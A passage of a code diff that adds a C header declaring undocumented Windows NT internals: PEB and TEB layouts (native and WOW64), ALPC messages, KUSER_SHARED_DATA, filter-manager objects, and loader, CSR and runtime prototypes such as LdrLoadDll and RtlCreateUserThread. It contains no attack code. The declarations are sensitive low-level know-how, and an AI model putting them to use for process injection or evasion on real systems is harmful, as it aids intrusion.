WOW64_POINTER(PVOID) UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + WOW64_POINTER(SIZE_T) HeapSegmentReserve; + WOW64_POINTER(SIZE_T) HeapSegmentCommit; + WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; + WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + WOW64_POINTER(PPVOID) ProcessHeaps; + + WOW64_POINTER(PVOID) GdiSharedHandleTable; + WOW64_POINTER(PVOID) ProcessStarterHelper; + ULONG GdiDCAttributeList; + + WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + WOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask; + GDI_HANDLE_BUFFER32 GdiHandleBuffer; + WOW64_POINTER(PVOID) PostProcessInitRoutine; + + WOW64_POINTER(PVOID) TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + // Rest of structure not included. +} PEB32, *PPEB32; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH32 { + ULONG Offset; + WOW64_POINTER(ULONG_PTR) HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH32, *PGDI_TEB_BATCH32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +// +// 32 and 64 bit specific version for wow64 and the debugger +// +typedef struct _NT_TIB32 { + DWORD ExceptionList; + DWORD StackBase; + DWORD StackLimit; + DWORD SubSystemTib; + union { + DWORD FiberData; + DWORD Version; + }; + DWORD ArbitraryUserPointer; + DWORD Self; +} NT_TIB32, *PNT_TIB32; + +typedef struct _NT_TIB64 { + DWORD64 ExceptionList; + DWORD64 StackBase; + DWORD64 StackLimit; + DWORD64 SubSystemTib; + union { + DWORD64 FiberData; + DWORD Version; + }; + DWORD64 ArbitraryUserPointer; + DWORD64 Self; +} NT_TIB64, *PNT_TIB64; +#endif + +typedef struct _TEB32 { + NT_TIB32 NtTib; + + WOW64_POINTER(PVOID) EnvironmentPointer; + CLIENT_ID32 ClientId; + WOW64_POINTER(PVOID) ActiveRpcHandle; + WOW64_POINTER(PVOID) ThreadLocalStoragePointer; + WOW64_POINTER(PPEB) ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + WOW64_POINTER(PVOID) CsrClientThread; + WOW64_POINTER(PVOID) Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + WOW64_POINTER(PVOID) WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + WOW64_POINTER(PVOID) SystemReserved1[54]; + NTSTATUS ExceptionCode; + WOW64_POINTER(PVOID) ActivationContextStackPointer; + BYTE SpareBytes[36]; + ULONG TxFsContext; + + GDI_TEB_BATCH32 GdiTebBatch; + CLIENT_ID32 RealClientId; + WOW64_POINTER(HANDLE) GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + WOW64_POINTER(PVOID) GdiThreadLocalInfo; + WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; + WOW64_POINTER(PVOID) glDispatchTable[233]; + WOW64_POINTER(ULONG_PTR) glReserved1[29]; + WOW64_POINTER(PVOID) glReserved2; + WOW64_POINTER(PVOID) glSectionInfo; + WOW64_POINTER(PVOID) glSection; + WOW64_POINTER(PVOID) glTable; + WOW64_POINTER(PVOID) glCurrentRC; + WOW64_POINTER(PVOID) glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING32 StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + WOW64_POINTER(PVOID) DeallocationStack; + WOW64_POINTER(PVOID) TlsSlots[64]; + LIST_ENTRY32 TlsLinks; +} TEB32, *PTEB32; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _GDI_HANDLE_ENTRY { + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; + +typedef struct _GDI_SHARED_MEMORY { + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; + +#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; + PVOID PackageDependencyData; //8+ + ULONG ProcessGroupId; + // ULONG LoaderThreads; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + PVOID ReadOnlySharedMemoryBase; + PVOID HotpatchInformation; + PVOID *ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID *ProcessHeaps; + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ImageProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; + PVOID ProcessAssemblyStorageMap; + PVOID SystemDefaultActivationContextData; + PVOID SystemAssemblyStorageMap; + + SIZE_T MinimumStackCommit; + + PVOID *FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pContextData; + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG SpareTracingBits : 30; + }; + }; +} PEB, *PPEB; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + UCHAR Alignment[4]; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, *PGDI_TEB_BATCH; + +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#if defined(_M_X64) + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#if defined(_M_X64) + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PVOID *TlsExpansionSlots; +#if defined(_M_X64) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; +} TEB, *PTEB; + +typedef struct _PROCESS_DEVICEMAP_INFORMATION { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[32]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION; + +__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } + +/* +** PEB/TEB END +*/ + +/* +** ALPC START +*/ + +typedef struct _PORT_MESSAGE { + union { + struct { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union { + struct { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union { + CLIENT_ID ClientId; + double DoNotUseThisField; // Force quadword alignment + } u3; + ULONG MessageId; + union { + ULONG ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message + ULONG CallbackId; // Only valid on LPC_REQUEST message + } u4; + UCHAR Reserved[8]; +} PORT_MESSAGE, *PPORT_MESSAGE; + +// end_ntsrv + +typedef struct _PORT_DATA_ENTRY { + PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION { + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; + +#define LPC_REQUEST 1 +#define LPC_REPLY 2 +#define LPC_DATAGRAM 3 +#define LPC_LOST_REPLY 4 +#define LPC_PORT_CLOSED 5 +#define LPC_CLIENT_DIED 6 +#define LPC_EXCEPTION 7 +#define LPC_DEBUG_EVENT 8 +#define LPC_ERROR_EVENT 9 +#define LPC_CONNECTION_REQUEST 10 + +#define PORT_VALID_OBJECT_ATTRIBUTES (OBJ_CASE_INSENSITIVE) +#define PORT_MAXIMUM_MESSAGE_LENGTH 256 + +typedef struct _LPC_CLIENT_DIED_MSG { + PORT_MESSAGE PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG, *PLPC_CLIENT_DIED_MSG; + +//#pragma pack(push, 1) +typedef struct _PORT_VIEW { + ULONG Length; + HANDLE SectionHandle; + ULONG SectionOffset; + SIZE_T ViewSize; + PVOID ViewBase; + PVOID ViewRemoteBase; +} PORT_VIEW, *PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW { + ULONG Length; + SIZE_T ViewSize; + PVOID ViewBase; +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; +//#pragma pack(pop) +/* +** ALPC END +*/ + +/* +** KUSER_SHARED_DATA START +*/ + +typedef struct _KSYSTEM_TIME { + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; + +typedef enum _NT_PRODUCT_TYPE { + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; + +#define PROCESSOR_FEATURE_MAX 64 + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE { + StandardDesign, // None == 0 == standard design + NEC98x86, // NEC PC98xx series on X86 + EndAlternatives // past end of known alternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +// +// Define Address of User Shared Data +// +#define MM_SHARED_USER_DATA_VA 0x000000007FFE0000 + +// +// WARNING: this definition is compatibility only. +// Structure is incomplete. Only important fields. +// +typedef struct _KUSER_SHARED_DATA_COMPAT { + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + volatile KSYSTEM_TIME InterruptTime; + volatile KSYSTEM_TIME SystemTime; + volatile KSYSTEM_TIME TimeZoneBias; + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + WCHAR NtSystemRoot[260]; + ULONG MaxStackTraceDepth; + ULONG CryptoExponent; + ULONG TimeZoneId; + ULONG LargePageMinimum; + + union { + ULONG Reserved2[7]; + struct { + ULONG AitSamplingValue; + ULONG AppCompatFlag; + struct { + ULONG LowPart; + ULONG HighPart; + } RNGSeedVersion; + ULONG GlobalValidationRunlevel; + ULONG TimeZoneBiasStamp; + ULONG ReservedField; + }; + }; + + NT_PRODUCT_TYPE NtProductType; + BOOLEAN ProductTypeIsValid; + ULONG NtMajorVersion; + ULONG NtMinorVersion; + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + ULONG Reserved1; + ULONG Reserved3; + volatile ULONG TimeSlip; + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + ULONG AltArchitecturePad; + LARGE_INTEGER SystemExpirationDate; + ULONG SuiteMask; + BOOLEAN KdDebuggerEnabled; + + union { + UCHAR MitigationPolicies; + struct { + UCHAR NXSupportPolicy : 2; + UCHAR SEHValidationPolicy : 2; + UCHAR CurDirDevicesSkippedForDlls : 2; + UCHAR Reserved : 2; + UCHAR Reserved6[2]; + }; + }; + + volatile ULONG ActiveConsoleId; + volatile ULONG DismountCount; + ULONG ComPlusPackage; + ULONG LastSystemRITEventTickCount; + ULONG NumberOfPhysicalPages; + BOOLEAN SafeBootMode; + UCHAR Reserved12[3]; + + union { + ULONG SharedDataFlags; + struct { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled: 1; + ULONG DbgLkgEnabled : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgConsoleBrokerEnabled : 1; + ULONG DbgSecureBootEnabled : 1; + ULONG DbgMultiSessionSku : 1; + ULONG DbgMultiUsersInSessionSku : 1; + ULONG SpareBits : 22; + }; + }; + + //incomplete + +} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; + +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)MM_SHARED_USER_DATA_VA) + +/* +** KUSER_SHARED_DATA END +*/ + +/* +** FLT MANAGER START +*/ + +#define FLTFL_MANDATORY_UNLOAD_IN_PROGRESS 0x1 +#define FLTFL_FILTERING_INITIATED 0x2 +#define FLTFL_NAME_PROVIDER 0x4 +#define FLTFL_SUPPORTS_PIPES_MAILSLOTS 0x8 + +#define FLT_OBFL_DRAINING 0x1 +#define FLT_OBFL_ZOMBIED 0x2 +#define FLT_OBFL_TYPE_INSTANCE 0x1000000 +#define FLT_OBFL_TYPE_FILTER 0x2000000 +#define FLT_OBFL_TYPE_VOLUME 0x4000000 + +typedef struct _FLT_OBJECT { + ULONG Flags; + ULONG PointerCount; + EX_RUNDOWN_REF RundownRef; + LIST_ENTRY PrimaryLink; +} FLT_OBJECT, *PFLT_OBJECT; + +typedef struct _FLT_SERVER_PORT_OBJECT { + LIST_ENTRY FilterLink; + PVOID ConnectNotify; + PVOID DisconnectNotify; + PVOID MessageNotify; + PVOID Filter; + PVOID Cookie; + ULONG Flags; + ULONG NumberOfConnections; + ULONG MaxConnections; +} FLT_SERVER_PORT_OBJECT, *PFLT_SERVER_PORT_OBJECT; + +/* +** FLT MANAGER END +*/ + +/* +** RTL START +*/ + +typedef NTSTATUS(*PUSER_PROCESS_START_ROUTINE)( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +typedef NTSTATUS(*PUSER_THREAD_START_ROUTINE)( + PVOID ThreadParameter + ); + +typedef struct _RTL_USER_PROCESS_INFORMATION { + ULONG Length; + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; + +// +// This structure is used only by Wow64 processes. The offsets +// of structure elements should the same as viewed by a native Win64 application. +// +typedef struct _RTL_USER_PROCESS_INFORMATION64 { + ULONG Length; + LONGLONG Process; + LONGLONG Thread; + CLIENT_ID64 ClientId; + SECTION_IMAGE_INFORMATION64 ImageInformation; +} RTL_USER_PROCESS_INFORMATION64, *PRTL_USER_PROCESS_INFORMATION64; + +/* +** RTL END +*/ + +/* +** LDR START +*/ + +typedef +VOID(NTAPI *PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)( + _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry, + _In_ PVOID Context, + _Inout_ BOOLEAN *StopEnumeration + ); + +typedef +VOID (CALLBACK *PLDR_DLL_NOTIFICATION_FUNCTION)( + _In_ ULONG NotificationReason, + _In_ PCLDR_DLL_NOTIFICATION_DATA NotificationData, + _In_opt_ PVOID Context + ); + +NTSTATUS NTAPI LdrAccessResource( + _In_ PVOID DllHandle, + _In_ CONST IMAGE_RESOURCE_DATA_ENTRY* ResourceDataEntry, + _Out_opt_ PVOID *Address, + _Out_opt_ PULONG Size + ); + +NTSTATUS NTAPI LdrAddRefDll( + ULONG Flags, + PVOID DllHandle + ); + +NTSTATUS NTAPI LdrEnumerateLoadedModules( + _In_opt_ ULONG Flags, + _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction, + _In_opt_ PVOID Context + ); + +NTSTATUS NTAPI LdrFindResource_U( + _In_ PVOID DllHandle, + _In_ CONST ULONG_PTR* ResourceIdPath, + _In_ ULONG ResourceIdPathLength, + _Out_ PIMAGE_RESOURCE_DATA_ENTRY *ResourceDataEntry + ); + +NTSTATUS NTAPI LdrFindEntryForAddress( + _In_ PVOID Address, + _Out_ PLDR_DATA_TABLE_ENTRY *TableEntry + ); + +NTSTATUS NTAPI LdrGetDllHandle( + _In_opt_ PCWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PCUNICODE_STRING DllName, + _Out_ PVOID *DllHandle + ); + +NTSTATUS NTAPI LdrGetProcedureAddress( + _In_ PVOID DllHandle, + _In_opt_ CONST ANSI_STRING* ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress + ); + +NTSTATUS NTAPI LdrLoadDll( + _In_opt_ PCWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PCUNICODE_STRING DllName, + _Out_ PVOID *DllHandle + ); + +NTSTATUS NTAPI LdrQueryProcessModuleInformation( + _Out_ PRTL_PROCESS_MODULES ModuleInformation, + _In_ ULONG ModuleInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI LdrUnloadDll( + _In_ PVOID DllHandle + ); + +NTSTATUS NTAPI LdrRegisterDllNotification( + _In_ ULONG Flags, + _In_ PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + _In_opt_ PVOID Context, + _Out_ PVOID *Cookie + ); + +NTSTATUS NTAPI LdrUnregisterDllNotification( + _In_ PVOID Cookie + ); + +NTSTATUS NTAPI LdrResSearchResource( + _In_ PVOID File, + _In_ CONST ULONG_PTR* ResIds, + _In_ ULONG ResIdCount, + _In_ ULONG Flags, + _Out_ LPVOID *Resource, + _Out_ ULONG_PTR *Size, + _In_opt_ USHORT *FoundLanguage, + _In_opt_ ULONG *FoundLanguageLength + ); + +NTSTATUS NTAPI LdrOpenImageFileOptionsKey( + _In_ PCUNICODE_STRING ImagePathName, + _In_ BOOLEAN Wow64Path, + _Out_ PHANDLE KeyHandle +); + +NTSTATUS NTAPI LdrQueryImageFileExecutionOptions( + _In_ PCUNICODE_STRING ImagePathName, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize + ); + +NTSTATUS NTAPI LdrQueryImageFileExecutionOptionsEx( + _In_ PCUNICODE_STRING ImagePathName, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize, + _In_ BOOLEAN Wow64Path + ); + +NTSTATUS NTAPI LdrQueryImageFileKeyOption( + _In_ HANDLE KeyHandle, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize + ); + +/* +** LDR END +*/ + +typedef PVOID PHEAD; + +typedef struct _HANDLEENTRY { + PHEAD phead; // Pointer to the Object. + PVOID pOwner; // PTI or PPI + BYTE bType; // Object handle type + BYTE bFlags; // Flags + WORD wUniq; // Access count. +} HANDLEENTRY, *PHANDLEENTRY; + +typedef struct _SERVERINFO { + WORD wRIPFlags; + WORD wSRVIFlags; + WORD wRIPPID; + WORD wRIPError; + ULONG cHandleEntries; + // incomplete +} SERVERINFO, *PSERVERINFO; + +typedef struct _SHAREDINFO { + PSERVERINFO psi; + PHANDLEENTRY aheList; + ULONG HeEntrySize; + // incomplete +} SHAREDINFO, *PSHAREDINFO; + +typedef struct _USERCONNECT +{ + ULONG ulVersion; + ULONG ulCurrentVersion; + DWORD dwDispatchCount; + SHAREDINFO siClient; +} USERCONNECT, *PUSERCONNECT; + +/* +** Csr Runtime START +*/ + +ULONG NTAPI CsrGetProcessId( + ); + +NTSTATUS NTAPI CsrClientConnectToServer( + _In_ PWSTR ObjectDirectory, + _In_ ULONG ServerDllIndex, + _Inout_ PVOID ConnectionInformation, + _Inout_ ULONG *ConnectionInformationLength, + _Out_ PBOOLEAN CalledFromServer +); + +/* +** Csr Runtime END +*/ + +/* +** Runtime Library API START +*/ + +NTSTATUS NTAPI RtlCreateEnvironment( + _In_ BOOLEAN CloneCurrentEnvironment, + _Out_ PVOID *Environment + ); + +NTSTATUS NTAPI RtlDestroyEnvironment( + _In_ PVOID Environment + ); + +NTSTATUS NTAPI RtlCreateProcessParameters( + _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData + ); + +NTSTATUS NTAPI RtlDestroyProcessParameters( + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSTATUS NTAPI RtlCreateProcessParametersEx( + _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData, + _In_ ULONG Flags); + +NTSTATUS NTAPI RtlCreateUserProcess( + PUNICODE_STRING NtImagePathName, + ULONG Attributes, + PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + HANDLE ParentProcess, + BOOLEAN InheritHandles, + HANDLE DebugPort, + HANDLE ExceptionPort, + PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + +NTSTATUS NTAPI RtlCreateUserThread( + _In_ HANDLE Process, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_ BOOLEAN CreateSuspended, + _In_ ULONG StackZeroBits, + _In_opt_ 